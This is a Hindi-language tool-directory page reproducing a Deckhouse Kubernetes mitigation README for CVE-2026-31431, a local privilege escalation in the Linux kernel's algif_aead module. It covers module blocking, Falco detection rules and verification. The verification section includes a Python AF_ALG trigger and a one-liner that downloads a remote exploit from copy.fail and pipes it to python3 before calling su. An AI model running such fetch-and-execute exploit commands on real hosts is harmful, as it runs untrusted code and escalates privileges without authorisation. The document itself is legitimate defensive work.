Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
d8-copy-fail-mitigation — CVE-2026-31431 के लिए Kubernetes-मूल शमन, स्वचालित कर्नेल मॉड्यूल अवरोधन के साथ, रनटाइम Falco डिटेक्शन नियम, और Deckhouse क्लस्टर के लिए bashible-आधारित नोड कॉन्फ़िगरेशन। | Kitploit
उपकरण/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
कंटेनर सुरक्षाभेद्यता विश्लेषणकॉन्फ़िगरेशन ऑडिटिंगक्लाउड सुरक्षाघुसपैठ का पता लगानाघटना प्रतिक्रिया
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

CVE-2026-31431 के लिए Kubernetes-मूल शमन, स्वचालित कर्नेल मॉड्यूल अवरोधन के साथ, रनटाइम Falco डिटेक्शन नियम, और Deckhouse क्लस्टर के लिए bashible-आधारित नोड कॉन्फ़िगरेशन।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-31431 के लिए शमन (Mitigation) Deckhouse Kubernetes Platform

भाषा: अंग्रेज़ी | Русский

भेद्यता के बारे में

CVE-2026-31431 लिनक्स कर्नेल के algif_aead मॉड्यूल में एक भेद्यता है, जो AF_ALG सॉकेट परिवार के माध्यम से कर्नेल क्रिप्टो API को उपयोगकर्ता स्थान पर उजागर करता है। AEAD (Authenticated Encryption with Associated Data) इंटरफ़ेस में एक दोष एक स्थानीय अनप्रिविलेज्ड उपयोगकर्ता को कर्नेल में मेमोरी भ्रष्टाचार ट्रिगर करने की अनुमति देता है, जिससे स्थानीय विशेषाधिकार वृद्धि या सेवा से इनकार हो सकता है।

कमजोर सतह किसी भी प्रक्रिया से पहुंच योग्य है - जिसमें अनप्रिविलेज्ड कंटेनर भी शामिल हैं - जिसे socket(AF_ALG, SOCK_SEQPACKET, 0) कॉल करने और इसे aead-प्रकार के एल्गोरिदम से बाइंड करने की अनुमति है। कंटेनर रनटाइम जो डिफॉल्ट seccomp प्रोफ़ाइल नहीं छोड़ते हैं या socket सिस्टम कॉल परिवार को प्रतिबंधित नहीं करते हैं, क्लस्टर नोड्स को हमले के लिए उजागर करते हैं।

अनुशंसित शमन, जब तक OS पैकेज अपडेट के माध्यम से अपस्ट्रीम कर्नेल पैच रोल आउट नहीं किया जाता है, प्रत्येक क्लस्टर नोड पर algif_aead कर्नेल मॉड्यूल को अक्षम करना और रनटाइम पर शोषण प्रयासों का पता लगाना है।

इस रिपॉजिटरी में फ़ाइलें

इस रिपॉजिटरी में Deckhouse-प्रबंधित क्लस्टर पर CVE-2026-31431 को कम करने के लिए आवश्यक सब कुछ है:

ngc-cve-2026-31431.yaml — नोड-पक्ष शमन

NodeGroupConfiguration bashible के माध्यम से प्रत्येक नोड पर चलता है और चार चरण करता है:

  1. जांच — यह निर्धारित करने के लिए एक AF_ALG सॉकेट खोलता है और इसे aead/gcm(aes) से बांधता है कि क्या कमजोर इंटरफ़ेस नोड पर पहुंच योग्य है।
  2. अवरोध — install निर्देशों के साथ /etc/modprobe.d/disable-algif.conf लिखता है जो algif_aead (और छाता af_alg) को फिर से लोड होने से रोकता है, चाहे मैन्युअल रूप से या निर्भरता के रूप में।
  3. अनलोड — यदि मॉड्यूल वर्तमान में लोड है तो rmmod algif_aead चलाता है। यदि मॉड्यूल कर्नेल में बनाया गया है तो इसे छोड़ दिया जाता है (उस स्थिति में केवल ब्लॉकलिस्ट + रनटाइम डिटेक्शन लागू होता है)।
  4. सत्यापन — जांच को फिर से चलाता है और यदि AEAD इंटरफ़ेस अभी भी पहुंच योग्य है तो bashible चरण को विफल करता है (गैर-शून्य निकास), ताकि bashible स्थिति नोड को गैर-शमित के रूप में सतह पर ला सके।

इडेम्पोटेंट: पहले से शमित नोड पर कॉन्फ़िगरेशन को फिर से चलाना एक नो-ऑप है।

far-cve-2026-31431.yaml — रनटाइम डिटेक्शन

FalcoAuditRules संसाधन एक कस्टम Falco नियम जोड़ता है जो एक Critical घटना को ट्रिगर करता है जब भी कोई प्रक्रिया एक AF_ALG सॉकेट खोलती है और इसे एक aead एल्गोरिदम से बांधती है (इस हमले के लिए अद्वितीय syscall पैटर्न)। यह एक Warning घटना भी उत्सर्जित करता है जब कोई प्रक्रिया modprobe/insmod के माध्यम से algif_aead मॉड्यूल को लोड करने का प्रयास करती है, जो शमित नोड पर कभी सफल नहीं होना चाहिए और शोषण प्रयास या ऑपरेटर गलत कॉन्फ़िगरेशन का एक मजबूत संकेत है।

संस्करण नोट: FalcoAuditRules को runtime-audit-engine मॉड्यूल द्वारा समेटा जाता है, जो केवल Deckhouse एंटरप्राइज़ संस्करण (EE) और प्रमाणित सुरक्षा संस्करण (CSE) में शिप किया जाता है। सामुदायिक संस्करण पर संसाधन संसाधित नहीं किया जाएगा; इस रिपॉजिटरी का NodeGroupConfiguration अभी भी लागू होता है और प्राथमिक शमन है।

लागू करना

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE केवल:
kubectl apply -f far-cve-2026-31431.yaml

अभिसरण की प्रतीक्षा करना

प्रत्येक नोड पर कॉन्फ़िगरेशन लागू होने की प्रतीक्षा करने के लिए प्रत्येक NodeGroup की स्थिति देखें। Bashible प्रति-चरण सफलता की रिपोर्ट वापस NodeGroup में करता है, और Deckhouse उसे दो फ़ील्ड में एकत्रित करता है जिन्हें आप पोल कर सकते हैं:

  • .status.upToDate — नोड्स की संख्या जिनका नवीनतम bashible रन वर्तमान कॉन्फ़िगरेशन के साथ सफल हुआ। अभिसरण तब पहुंचता है जब प्रत्येक समूह के लिए upToDate == nodes।
  • .status.conditionSummary.ready — "True" जब समूह स्वस्थ होता है; किसी भी नोड के bashible चरण के विफल होने पर "False" हो जाता है और .status.conditionSummary.statusMessage में मानव-पठनीय कारण दिखाता है (यह ठीक वही है जो NodeGroupConfiguration में सत्यापन चरण उस नोड पर करता है जहां फिक्स लागू नहीं किया जा सका)।

सभी समूहों में एक बार देखने के लिए:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

एक स्क्रिप्टेबल जांच जो केवल तब 0 से बाहर निकलती है जब प्रत्येक समूह अभिसरित हो गया हो:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

यदि कोई NodeGroup conditionSummary.ready == "False" के साथ अटक गया है, तो .status.conditionSummary.statusMessage पढ़ें — यह विफल होने वाले bashible चरण को सतह पर लाता है, जिसमें इस शमन से सत्यापन चरण भी शामिल है।

वापस रोलबैक

एक बार प्रत्येक नोड पर आधिकारिक फिक्स वाले अपस्ट्रीम कर्नेल पैकेज स्थापित हो जाने के बाद, दोनों संसाधनों को हटा दें:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

NodeGroupConfiguration को हटाने से /etc/modprobe.d/disable-algif.conf स्वचालित रूप से नहीं हटता है — यदि आप मॉड्यूल को फिर से लोड करने योग्य बनाना चाहते हैं तो इसे मैन्युअल रूप से साफ करें, या यदि क्लस्टर पर किसी भी वर्कलोड द्वारा कर्नेल क्रिप्टो API का उपयोग नहीं किया जाता है तो ब्लॉकलिस्ट को छोड़ दें।

मैन्युअल सत्यापन

क्लस्टर-व्यापी:

root@kitploit:~
kubectl get nodegroups

UPTODATE को NODES के बराबर होना चाहिए और प्रत्येक समूह के लिए स्थिति संदेश कॉलम खाली होना चाहिए।

एक नोड पर (SSH या kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

अपेक्षित:

  • cat चार install / blacklist पंक्तियाँ दिखाता है।
  • lsmod खाली है।
  • modprobe -n -v install /bin/false प्रिंट करता है।
  • modprobe exit=1 लौटाता है।

Falco नियम ट्रिगर सत्यापित करना

इस उप-खंड का उपयोग यह मान्य करने के लिए करें कि CVE-2026-31431 के लिए कस्टम FalcoAuditRules वास्तव में प्रत्येक PoC रन पर ट्रिगर होता है।

दोनों परिदृश्यों के लिए सामान्य पूर्व-जांचें:

  1. सत्यापित करें कि runtime-audit-engine सभी नोड्स पर स्वस्थ है:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

अपेक्षित: DESIRED == READY == AVAILABLE।

  1. नियम लागू/अपडेट करें:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. लॉग स्ट्रीम शुरू करें (वैकल्पिक, अलग टर्मिनल):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

कंटेनर से सत्यापन

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# Important: use -i so Python receives stdin script
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

सफाई:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

क्लस्टर होस्ट से सत्यापन

सुरक्षा चेतावनी: निष्पादन से पहले किसी भी डाउनलोड की गई स्क्रिप्ट की हमेशा समीक्षा करें। उत्पादन वातावरण में अंधाधुंध रिमोट स्क्रिप्ट न चलाएं।

अनुशंसित (पहले समीक्षा करें, फिर चलाएं):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

समतुल्य एक-लाइनर (केवल समीक्षा/अनुमोदन के बाद):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

डिटेक्शन जांचें:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
टूल डाउनलोड करें
फ़ाइलउद्देश्य
ngc-cve-2026-31431.yamlNodeGroupConfiguration जो कमजोर इंटरफ़ेस की जांच करता है, algif_aead की लोडिंग को रोकता है, यदि मॉड्यूल वर्तमान में लोड है तो उसे अनलोड करता है, और सत्यापित करता है कि फिक्स प्रभावी है। सभी बंडलों और नोड समूहों पर लागू होता है।
far-cve-2026-31431.yamlFalcoAuditRules जो AF_ALG सॉकेट के माध्यम से AEAD एल्गोरिदम से बंधे शोषण प्रयासों का रनटाइम पर पता लगाता है। केवल Deckhouse एंटरप्राइज़ संस्करण (EE) और प्रमाणित सुरक्षा संस्करण (CSE) में उपलब्ध, क्योंकि runtime-audit-engine मॉड्यूल उन संस्करणों में शिप होता है।